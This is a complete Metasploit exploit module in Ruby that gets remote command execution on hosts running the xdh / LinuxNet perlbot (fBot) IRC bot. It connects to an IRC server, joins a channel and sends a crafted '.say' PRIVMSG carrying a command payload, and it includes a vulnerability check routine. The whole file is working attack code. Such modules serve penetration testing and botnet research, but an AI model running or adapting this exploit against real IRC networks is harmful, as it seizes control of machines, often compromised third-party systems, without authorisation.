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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',
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      'Description'    => %q{
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          This module allows remote command execution on an IRC Bot developed by xdh.
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          This perl bot was caught by Conor Patrick with his shellshock honeypot server
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          and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt
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          Thayer also found this script which has a description of LinuxNet perlbot.
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          The bot answers only based on the servername and nickname in the IRC message
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          which is configured on the perl script thus you need to be an operator on the IRC
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          network to spoof it and in order to exploit this bot or have at least the same ip
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          to the config.
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        },
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      'Author'         =>
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        [
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          #MalwareMustDie
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          'Jay Turla', # msf
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          'Conor Patrick', # initial discovery and botnet analysis for xdh
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          'Matt Thayer' # initial discovery for LinuxNet perlbot
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ],
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          [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery
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          [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is
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        ],
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      'Platform'       => %w{ unix win },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd'
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            }
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        },
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      'Targets'  =>
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        [
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          [ 'xdh Botnet / LinuxNet perlbot', { } ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2015-12-04',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(6667),
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        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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        OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name
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        OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
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      ])
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  end
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  def post_auth?
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    true
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  end
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  def check
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    connect
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    res = register(sock)
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    if res =~ /463/ || res =~ /464/
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      vprint_error("#{rhost}:#{rport}  - Connection to the IRC Server not allowed")
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      return Exploit::CheckCode::Unknown
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    end
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    res = join(sock)
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    if !res =~ /353/ && !res =~ /366/
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      vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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      return Exploit::CheckCode::Unknown
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    end
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    quit(sock)
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    disconnect
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    if res =~ /auth/ && res =~ /logged in/
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      Exploit::CheckCode::Vulnerable
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    else
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      Exploit::CheckCode::Safe
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    end
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  end
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  def send_msg(sock, data)
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    sock.put(data)
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    data = ""
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    begin
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      read_data = sock.get_once(-1, 1)
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      while !read_data.nil?
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        data << read_data
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        read_data = sock.get_once(-1, 1)
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      end
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    rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
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      elog(e)
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    end
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    data
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  end
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  def register(sock)
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    msg = ""
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    if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
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      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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    end
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    if datastore['NICK'].length > 9
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      nick = rand_text_alpha(9)
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      print_error("The nick is longer than 9 characters, using #{nick}")
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    else
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      nick = datastore['NICK']
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    end
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    msg << "NICK #{nick}\r\n"
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    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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    send_msg(sock,msg)
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  end
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  def join(sock)
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    join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
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    send_msg(sock, join_msg)
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  end
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  def xdh_command(sock)
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    encoded = payload.encoded
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    command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"
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    send_msg(sock, command_msg)
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  end
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  def quit(sock)
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    quit_msg = "QUIT :bye bye\r\n"
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    sock.put(quit_msg)
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  end
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  def exploit
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    connect
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    print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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    res = register(sock)
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    if res =~ /463/ || res =~ /464/
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      print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
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    res = join(sock)
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    if !res =~ /353/ && !res =~ /366/
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      print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
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    xdh_command(sock)
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    quit(sock)
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    disconnect
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  end
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end
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